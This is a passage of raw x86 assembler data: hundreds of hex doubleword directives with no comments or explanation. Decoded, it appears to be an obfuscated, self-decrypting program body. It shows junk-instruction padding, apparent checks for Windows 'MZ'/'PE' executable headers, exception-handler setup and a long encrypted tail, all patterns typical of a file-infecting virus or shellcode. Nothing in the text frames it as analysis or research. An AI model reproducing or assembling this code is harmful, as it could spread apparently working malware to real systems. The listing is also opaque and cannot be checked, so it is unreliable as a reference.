dd 1Ah, 77C35747h, 50452C70h, 85C768FEh, 6482AD9h, 3, 0B689BD83h
dd 0F00064Bh, 3184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 313D4855h, 72202418h
dd 0B589AEB6h, 648158Dh, 1CE9h, 3050F800h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0AE8E715h
dd 6C000000h, 9904D410h, 47B7A1F9h, 0D98B66D6h, 57006A5Bh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0E9AA3454h, 13h, 5817C760h, 5EB96775h, 0F50E2815h, 91666E8Eh
dd 83DED948h, 482AD9BDh, 850F0306h, 42Fh, 5E9h, 0D227C700h
dd 0BD8383BEh, 64BB689h, 18840F00h, 6A000004h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0E0D3C355h, 3B884BFh, 12E966h, 0B3FE0000h, 6EF1214Dh
dd 0E3902867h, 0C9773B92h, 5E9BD8B4h, 8E9h, 0A279CB00h
dd 0F55E9923h, 89B5FF5Eh, 6A064BB6h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BE3C357h
dd 482A319Dh, 0F595FF06h, 6A064809h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5DDEC356h
dd 0CA1999E4h, 1DE2AA83h, 294D9529h, 0DA8A0648h, 0B67DB58Bh
dd 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0E8648FC3h, 11h, 0F7891077h, 6D4C84h, 36599269h
dd 0E0F31C34h, 59BD0B25h, 5F064831h, 106C7h, 6A0001h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 8CBA6AC3h, 80F80A72h, 0BD8B10EBh, 6483301h, 0BE996h
dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 0BF6650C0h, 6696203Eh
dd 80C381BBh, 0B5FF98C3h, 64BB689h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0D4C35040h, 782CD5C8h, 6195FFh
dd 0BD8B0648h, 64805A9h, 0B67DB58Bh, 8B60064Bh, 4805E195h
dd 8D896106h, 64811BDh, 0F25858Bh, 6A0648h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 733075C3h
dd 0FCA532E6h, 0C4868918h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 60CCC350h
dd 958BD8B5h, 6481405h, 2865BD01h, 0C2830648h, 71CB8104h
dd 897E5C71h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 12A11AC3h, 0DBF36512h, 0D4858DB3h
dd 8B064BCAh, 0B88689F9h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BDF9C355h
dd 6A314Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0AFC35242h, 8356FA2Ch, 100EBFD6h, 0B5FF7B8Eh, 64BB689h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 73C35545h, 0D4CFF2D2h, 4D5BD89h, 0F88B0648h
dd 5195FFh, 95090648h, 6480BFDh, 8B666050h, 615A53FBh
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0F96EC351h, 0EBBC7758h, 9D89F56Dh
dd 6480459h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 8544C7C3h, 0F8F76E41h
dd 95FFA4B7h, 6481429h, 0BE8h, 0A1895200h, 58AD2567h, 0AEE30CCBh
dd 2860Fh, 0FE8A0000h, 0A9BD835Fh, 64831h, 32840Fh, 8D890000h
dd 6482B35h, 502BB796h, 2830Fh, 0FC8A0000h, 198A0F96h
dd 0E8000000h, 10h, 67BFA507h, 0D912563h, 200000Eh, 0F4C5F662h
dd 5BDEBF0Fh, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FF0E6C3h, 95FFF9B7h
dd 64813FDh, 6460BB66h, 0B689B5FFh, 0CB81064Bh, 3A54E009h
dd 177D95FFh, 95890648h, 6481B51h, 2F1DBD83h, 0F020648h
dd 4F84h, 2DBD0300h, 0F064832h, 480h, 7BF6600h, 51858B5Fh
dd 0F064815h, 687h, 599D8B00h, 0C6064823h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0FC40E2C3h, 0AA81EEE5h, 0FC0F468h, 0FB8BFFBFh, 16E185C7h
dd 648h, 8B0F0000h, 2, 14E9F88Bh, 0CE000000h, 0A9FF9FC8h
dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 0E9F4BE5Dh, 0FFFFF2D4h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h
dd 0BF0F0413h, 65BD8BF8h, 8B06481Ch, 57006AC1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1EFCC3DDh
dd 0E94DD54Bh, 8, 0F502054Eh, 89777BEAh, 8AE2EB81h, 858D155Fh
dd 6481255h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 3C35646h, 1F9A08DDh, 0F68A2B00h, 17F58D89h, 50500648h
dd 800F52h, 0F000000h, 89585A31h, 8D0F2404h, 0
dd 0BD01006Ah, 648123Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FB676C3h, 687h, 89BD0900h
dd 8D064818h, 4D286F85h, 11E906h, 0AB890000h, 0B1A24753h
dd 1D20F540h, 0AC89A76Dh, 83B1621Fh, 6A05C0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 848D94C3h
dd 138EC0A2h, 5E9h, 4E51AF00h, 0B70FEB7Bh, 0CE950D8h, 97000000h
dd 68D494C9h, 0F2516B8Eh, 89E5CDCCh, 8DBF2404h, 6A4E8B2Dh
dd 0BDBD8900h, 6A06481Bh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9C424536h
dd 28F70DF0h, 0AE781C0h, 316EC8F3h, 480AB98Dh, 2D95FF06h
dd 5606482Bh, 0DE8h, 657C8100h, 0A8689EBDh, 0F7BB63BDh
dd 840FAD96h, 0
dd 0B70F5F5Fh, 388D8DDAh, 0F064B99h, 0C83h, 6820F00h, 33000000h
dd 4822B59Dh, 31952906h, 0FF064812h, 57006AD1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E5BD8395h
dd 1064830h, 9E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 8485D9C3h, 0BF4AEADAh
dd 636D70B8h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 2F4154C3h, 481A606Bh, 0FCDD8518h
dd 89DE8B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 31BE10C3h, 9445785Bh, 5195FFh, 6A0648h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 6094E5C3h, 0FA8BBDEDh, 0DA9E9h, 0E800h, 815D0000h, 4D2879EDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0AA3B0711h, 0A00CBAEAh, 13E9h, 0BA69B800h
dd 0C0335989h, 6049BA29h, 27BAA708h, 0D87DD66Fh, 32299589h
dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0AAA83FC3h, 0A81148D9h, 858DC27Ch, 64B93DAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h
dd 90069E33h, 8B525060h, 0E9310FFEh, 11h, 6E620A9Ch, 0A310B152h
dd 0E6733075h, 18FCA532h, 66585A09h, 5061F38Bh, 0DB39BF66h
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0F9BCAD81h, 0BD0B6050h, 64810C5h, 0FF645B61h
dd 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 0D5379631h, 2371BD2Bh, 89640648h
dd 25h, 0D185FF00h, 6A06481Ah, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0BF17C353h, 6870FF9h
dd 8B000000h, 4829FDBDh, 6AFF6A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8609C355h
dd 27B98589h, 0B5FF0648h, 648184Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0C5C35545h, 9D8BA080h, 64813E5h
dd 10D995FFh, 16E90648h, 0F000001h, 38Dh, 0D8BF0F00h, 5E900B0h
dd 56000000h, 0A7C6B309h, 0BD8970E6h, 6482759h, 0BD8B71E4h
dd 648057Dh, 830F613Ch, 0E9h, 158D8960h, 8B064800h, 0B60F61CEh
dd 68A0FC8h, 89000000h, 48284DBDh, 6BA06h, 0C5BF0000h
dd 8B741E07h, 4E8C1C1h, 80E2F766h, 0C82BB4E3h, 0EE9h, 0B8C97300h
dd 7E50C58Ah, 0E6B8359Ah, 8BF120F9h, 0DBD381D1h, 0E90B5360h
dd 99h, 6840Fh, 85890000h, 6481885h, 554C858Bh, 0C0834947h
dd 0C08307h, 66FEBF0Fh, 3B2CC8BFh, 11830FD0h, 81000000h
dd 0BBFF38CBh, 67E97Fh, 0BD8B0000h, 6481319h, 0FFFF8D8Bh
dd 10E9FFFFh, 8E000000h, 25C7CE24h, 6EA3F34Dh, 79184C21h
dd 83006521h, 840F01E1h, 3Dh, 0BB66D381h, 0A583178Fh, 0FFFFFFFFh
dd 0CE8FEh, 796D0000h, 6C5D56ECh, 26EB7F28h, 3BB7F3EDh
dd 4C95895Bh, 0E9494755h, 0Ch, 1A0DE5B5h, 32FB29B3h, 0D29D2C68h
dd 0E9h, 0A6B58D00h, 6A064CA1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0E4C3C352h, 4292A877h
dd 0AB99501h, 6A0648h, 11F1B589h, 95FF0648h, 648092Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h
dd 73D9589h, 840F0648h, 4, 8896BF66h, 1058B9h, 6830F00h
dd 8B000000h, 4805A1BDh, 0FCE18306h, 2C199D03h, 6AFC0648h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0A83AC351h, 0E1A9265Fh, 0B8B8F568h, 0
dd 1715BD8Bh, 0D22B0648h, 2391B531h, 33AD0648h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 6A54C3h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 6F06D1C3h, 0F960567Fh
dd 61D2B70Fh, 880D5Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 5BD272C3h, 5C56AD43h
dd 1405958Bh, 0BF660648h, 8D8BE292h, 6483025h, 0C58AF560h
dd 0C28B5061h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 158188Bh
dd 481A6D8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 9E9D3h, 0B840000h, 0EE8780C2h, 6614A9D3h
dd 6ED2F781h, 12FDBD83h, 0F000648h, 6084h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 160DA97Ah, 361E4195h, 0B853h, 7ABF0000h, 8D4D1F02h
dd 484E808Dh, 41BD8B06h, 0FF064816h, 53006AE1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0CCFBAFFh
dd 1DF14EA7h, 0D9BD83B4h, 6482Ah, 452840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 836ADDC3h, 482AD9BDh, 840F0106h, 443h, 0B1CC5CBFh, 0D9BD8376h
dd 306482Ah, 3FB860Fh, 860F0000h, 6, 0AD19D8Bh, 6A600648h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 661CC353h, 9D8BD98Ch, 6482BF5h, 32499D8Bh
dd 0E1800648h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 20CB4C3Ah, 0DA32CD13h
dd 6AE78148h, 0A3EB375h, 0F1840FC9h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 936DC353h, 28C9033Eh, 0DF80A732h, 59858B95h, 81064811h
dd 4C0C64EFh, 19853339h, 0BB064812h, 6167958Dh, 52506050h
dd 0AE9h, 71C47900h, 42C22D49h, 0F16AD03h, 8E0F31h, 5A000000h
dd 0D38B5258h, 4896159h, 31006A24h, 481F098Dh, 4E806h
dd 3FF0000h, 0B4B3001Fh, 45B26050h, 8B61C88Ah, 60042444h
dd 0D484BB66h, 0E8008B61h, 0Dh, 0A6DDA9AAh, 798D73EDh
dd 699FE2CCh, 44895F47h, 60530424h, 0F5D60B8h, 840F0Fh
dd 61000000h, 8B66585Fh, 4195FFFBh, 0F9064807h, 0B6898589h
dd 9D8B064Bh, 648145Dh, 232E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 11E924Ch, 9589BA28h
dd 648020Dh, 0B681858Bh, 12E9064Bh, 53000000h, 37C85631h
dd 0A8165647h, 0ECFFBCCBh, 0EE777A9Ch, 1800C7C3h, 0F000000h
dd 8Eh, 85B58B00h, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 64B4C355h, 850F2FA4h
dd 0Eh, 9E9h, 0D484500h, 0BD775FBFh, 858B90E8h, 6481A85h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 6AC35242h
dd 2F68ABF0h, 89A40F88h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0E98BFEC5h, 0Ah, 9D700EBDh
dd 0B426100Eh, 0BD3120DFh, 6480789h, 1159858Bh, 0DE80648h
dd 2A000000h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 11E9h
dd 6130F300h, 68366567h, 0D6DD99F0h, 183391D3h, 895BE686h
dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0B183E7C3h, 90FEC8D7h, 170DB589h, 8B960648h
dd 0BF6650F9h, 6A968167h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 11A6C351h, 0B681B5FFh
dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 3B38F2C3h, 0EC209E85h, 667D2ECFh, 0E8C51DBBh
dd 10h, 0B68F13BAh, 46AA7FE1h, 2F36C259h, 8FBF3DD6h, 1A219D31h
dd 685B0648h, 9AFF110Ah, 0B220BF66h, 0F5240481h, 81651FF2h
dd 0E93C36DBh, 89858D25h, 6A064BB6h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FC25C356h
dd 6BA53B98h, 901053A6h, 4890Fh, 0BF660000h, 0BF504024h
dd 3220BA8Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0D0410F4Bh, 0FF48B7ADh, 48074195h
dd 96CF8106h, 61125C9Eh, 6E8h, 7D02BD00h, 0FD5602Ch, 38Fh
dd 0E9F78000h, 0D985C75Bh, 306482Ah, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0FF89C351h, 1F85A213h, 0FF92145h, 589h, 4660BF00h, 0FA8B6C90h
dd 0B689BD83h, 0F00064Bh, 3484h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EF489720h
dd 0D055C73Eh, 2AD19D03h, 21E90648h, 81000000h, 2B4A2AEBh
dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 5358589h, 6A0648h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 2651B7C3h, 0E98D437Bh
dd 6, 9D519C99h, 0BD836B25h, 6482AD9h, 0D7850F03h, 89000003h
dd 48288D95h, 89BD8306h, 64BB6h, 3C4840Fh, 0B560000h, 4814E9BDh
dd 0B5FF5F06h, 64BB689h, 68C0Fh, 0B5290000h, 648121Dh
dd 9F595FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 68E5CEC3h, 0B67DB58Bh, 6A064Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 8BFBD0C3h, 0B70F6098h, 12E9CAh, 33060000h, 0B11FD07h
dd 9F0A93F9h, 971191C1h, 0DB03B003h, 106C761h, 6A000100h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0AEDDC351h, 7599D892h, 0FCF81FCh, 0F4B4CD2h
dd 0F96DABFh, 483h, 0CBBB6600h, 12E95057h, 93000000h, 1E60CF5Eh
dd 0CEFEBE07h, 0DECD67B9h, 362EE697h, 6A9623h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 3101B9C3h, 1EF13134h, 22D59D8Bh, 0B5FF0648h, 64BB689h
dd 0C205F781h, 95FF786Bh, 6480061h, 0B67DB58Bh, 6A064Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 7CD86C3h, 0D8D8967h, 8B064827h, 480F2585h, 65952906h
dd 8906480Ah, 0C486h, 59D0300h, 8B064823h, 48140595h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0FABB6600h, 4C283D0h, 68C0Fh, 0BD030000h, 64829CDh
dd 1205089h, 48288D85h, 0D4858D06h, 6A064BCAh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0C4B0C352h, 892B1DBEh, 4818299Dh, 0B8868906h, 6A000000h
dd 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7BD4C353h
dd 3A2B10C9h, 0B0835835h, 1825BD8Bh, 6A0648h, 2A319589h
dd 0FFF90648h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 2C4153ADh
dd 0FCF7AC4h, 287h, 0BB90B700h, 63507997h, 5195FFh, 6A0648h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 7EBC3CC3h, 0E95F566Eh, 12h, 0A80CA298h, 6C50C3D1h, 2E09BB0Dh
dd 575F5FD7h, 880F7EC8h, 6, 23019D23h, 0F960648h, 0C82h
dd 68F0F00h, 50000000h, 5A310F52h, 0FA8B5058h, 0D1816096h
dd 5293B05Ah, 0D7D88166h, 0B5FF61E7h, 64BB689h, 9F9BD33h
dd 95FF0648h, 6481429h, 0E150EF81h, 0BD834F6Bh, 64831A9h
dd 2F840F00h, 66000000h, 501BA9BBh, 3800Fh, 8B660000h
dd 243489DFh, 12E8h, 68D90A00h, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch
dd 8BD02092h, 481F0DBDh, 0B5FF5F06h, 64BB689h, 0DE8h, 0FF42A600h
dd 0B64D66D2h, 7EDC37D7h, 0BB66218Eh, 0FF5B8C96h, 4813FD95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0AC3406D4h, 0B160B98h, 0B5FFF5E4h, 64BB689h
dd 0D919D8Bh, 95FF0648h, 648177Dh, 0E4B3D88Ah, 2F1DBD83h
dd 0F020648h, 4184h, 6840F00h, 8B000000h, 48203D9Dh, 51858B06h
dd 6A064815h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 79C355h, 0A8993585h, 0BE6036BBh
dd 0C67Dh, 18719589h, 85C70648h, 64816E1h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D9C35040h
dd 53AAF781h, 0E6E96421h, 0E8FFFFF3h, 0Bh, 2E844966h, 0D4059A4h
dd 81607AC7h, 0C262EFC3h, 0C18B5F0Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 6C35646h, 1CB0162Eh, 1D7D8DAFh
dd 28718531h, 0BA0648h, 81F00DE0h, 0EAh, 14C283F0h, 2F6D9589h
dd 0EA830648h, 0C3858D14h, 50064D36h, 35FF64h, 64000000h
dd 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h
dd 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h, 840F0000h
dd 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh, 13458589h, 40030648h
dd 50B70F3Ch, 61958906h, 8B06481Ch, 95895050h, 6480DADh
dd 0F805h, 0C508B00h, 9589D103h, 64819D9h, 89085003h, 48282595h
dd 58F6406h, 0
dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
dd 59000010h, 83C3C033h, 48202DBDh, 840F0006h, 24h, 0FF985C6h
dd 68470648h, 0D49AA7D2h, 29A9B5FFh, 858D0648h, 64B7F60h
dd 6AD0FFh, 8589D0FFh, 64811ADh, 0DE8D38Bh, 1000000h, 1D511CF2h
dd 3F636154h, 92CC8907h, 5EC1C680h, 0C681DD8Ah, 594Ah
dd 5AA5B453h, 409856BFh, 0CDC78169h, 6096BF7Dh, 8B61F38Bh
dd 0FFC1810Eh, 5150A1E1h, 815816B0h, 0B04791E9h, 0DE90Bh
dd 0BACF0000h, 21162BFh, 9646F189h, 818995AEh, 200B47F1h
dd 6E966h, 74E80000h, 0BF443131h, 28C0F51h, 8A000000h
dd 81068FC2h, 0FBDF39F2h, 92EE814Fh, 0B63B1B2Ah, 8EC6812Dh
dd 663B1B2Ah, 0EF81C28Bh, 1, 0F850Fh, 8B600000h, 2AE961CEh
dd 0E3000000h, 0AFD8A8DDh, 7E952A9h, 85000000h, 0D89F0BDFh
dd 0E95A371Ch, 0FFFFFF7Bh, 0B2BC50F3h, 65AD161h, 0CFA161E2h
dd 99F81D8Dh, 578D8D55h, 6A064D38h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D876C357h
dd 2C0D9D8Bh, 42B40648h, 14058D89h, 85C70648h, 6483025h
dd 6628h, 0F9858B51h, 5B064829h, 2AD985C7h, 648h, 95310000h
dd 648293Dh, 6880Fh, 0B5890000h, 6481F0Dh, 2FB5B5FFh, 0DA810648h
dd 2EF6D233h, 0E7195FFh, 860F0648h, 3, 31D7BF0Fh, 48002DB5h
dd 0FF006A06h, 48092D95h, 0EBC08B06h, 90D5D40Dh, 2493CB6h
dd 535C6C91h, 8D8D12E6h, 64D3941h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 14C35545h, 0D799CAEFh, 8D29D660h
dd 6480E21h, 6820Fh, 85890000h, 648161Dh, 14058D89h, 0C4BB0648h
dd 0C7627374h, 48302585h, 59D006h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E9F7DC7Eh
dd 0Fh, 32B33517h, 0F4E938B0h, 933B7E53h, 8BB7524Ch, 481B219Dh
dd 0D985C706h, 6482Ah, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F8F0C351h
dd 42447E72h, 71BBD4E5h, 0FF67899Dh, 481B71B5h, 81858B06h
dd 0FF064816h, 480E7195h, 899D8B06h, 6A064811h, 2D95FF00h
dd 8B064809h, 0C078EBC0h, 0F6125D94h, 0D54C4C35h, 53B9D2D8h
dd 5304E6ADh, 0D00F74CEh, 8E4D4E0Bh, 0E68112B6h, 0D6D2CF60h
dd 2A5360BAh, 0D78C9503h, 9E6EF63Dh, 8F3C3CDBh, 905C7BD9h
dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0B2E6F37Ah, 16280DD3h
dd 0BB38723Ah, 8E909DCAh, 583DBA3h, 0C2BE0325h, 0BC1D975h
dd 0F8B500C9h, 0ADA26B41h, 3ECE3D1Fh, 3101B990h, 1EF13134h
dd 0C4E928A6h, 8D097DE1h, 4D3AB48Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 41D7B057h
dd 0A324E948h, 14E9h, 0F0020E00h, 70E52673h, 64E622Ah
dd 79C0E39Eh, 0D2B27F39h, 0E881669Bh, 8D89522Ah, 6481405h
dd 301DBD23h, 85C70648h, 6483025h, 7494h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 36C35646h, 0C1B70F06h
dd 2AD985C7h, 648h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 1B7E33C3h, 0C9453786h
dd 0FFF38A8Ah, 48184DB5h, 0FF77B306h, 480E7195h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 60BDBF3Bh, 0A995297Ch, 0E9064806h, 0Ah, 23E42FF4h, 0B957863Bh
dd 6A5F6Eh, 92D95FFh, 0C08B0648h, 0B9900EEBh, 31343101h
dd 28A61EF1h, 7DE1C4E9h, 6433D78Eh, 3433BE9Fh, 0F76B9DBBh
dd 10773485h, 10773CEAh, 3433AB73h, 0F763FDBBh, 0BF3F61B0h
dd 6433D72Eh, 3433BE9Fh, 0F76B9DBBh, 10773485h, 10773CEAh
dd 3433AB73h, 0F763FDBBh, 0B71CF97Ch, 7C212453h, 3D46BD71h
dd 39060038h, 4033BB95h, 0BF60EDF7h, 303005B7h, 0B1BABDBBh
dd 327B9464h, 90572063h, 0E7CCBB3Dh, 89B0E5E0h, 327BB0E8h
dd 6424C9EEh, 30300524h, 0B1BABDBBh, 327B9464h, 95602063h
dd 0E7CCBB3Dh, 0A9B8E5E0h, 327B9228h, 0BFE102E1h, 0CDBE8EB7h
dd 5235F599h, 34596551h, 343055BEh, 6C13BD77h, 70BAE578h
dd 70B2B9F9h, 3425B9CAh, 6473BD77h, 25D8CD78h, 3433B835h
dd 95B0EAEEh, 31DBBF6Eh, 0DF33BDBBh, 4931005Ch, 1B9A30C7h
dd 6B69BB3Fh, 343535B4h, 0A902BDDDh, 327B93B7h, 0B03CB9DFh
dd 3433B9FDh, 0DC65BDB7h, 3433BDEDh, 6AF0E357h, 3017C932h
dd 3017F95Ch, 3433BDF7h, 3CF0EB31h, 189F099h, 8B3CEA05h
dd 3CDBE211h, 8033BD77h, 9D48C9A1h, 0BF658271h, 7C30787Bh
dd 0B555E271h, 0B7C96250h, 7C034C60h, 0B03CBDE8h, 3433BD26h
dd 0DC63BDD1h, 3433BDDEh, 6CF0E5CEh, 3017F9FEh, 3017F93Ah
dd 3433BDC7h, 8FF0EDAEh, 0EF5E7419h, 0A1BA9FDEh, 327B9200h
dd 34307007h, 6233D777h, 3433BE53h, 0F76D9DDDh, 104734B0h
dd 10773C73h, 3433A1BFh, 0F765FBDDh, 0A8B9141Fh, 0BB31DACFh
dd 13330374h, 89BABFDDh, 327BAEEFh, 45B138FAh, 5D82BBF0h
dd 63FB37BDh, 556B7E65h, 89326D88h, 327BBB7Eh, 0B03C7D58h
dd 3433BCE6h, 0DC66BD1Dh, 3433BDB8h, 69F0E0FDh, 3017D167h
dd 3017F9F6h, 3433BDA0h, 0FF0E898h, 806DB64h, 3B259281h
dd 3433B535h, 36B6B2DDh, 6533BDEEh, 630B3C28h, 3BC83CDDh
dd 34338358h, 0B555EAEEh, 6E7EDEBDh, 304B3CDDh, 0B03CBFDFh
dd 3433BEAAh, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh, 3017E967h
dd 3017F9F6h, 3433BDACh, 0AAF0EF9Fh, 17FA6EE0h, 7C21A0EAh
dd 0B58E36BDh, 5235F5C8h, 54AF856Fh, 34B13878h, 3B53BDBBh
dd 55CA6A6Ah, 0DC31C56Eh, 34413878h, 3459BDBBh, 3430558Ah
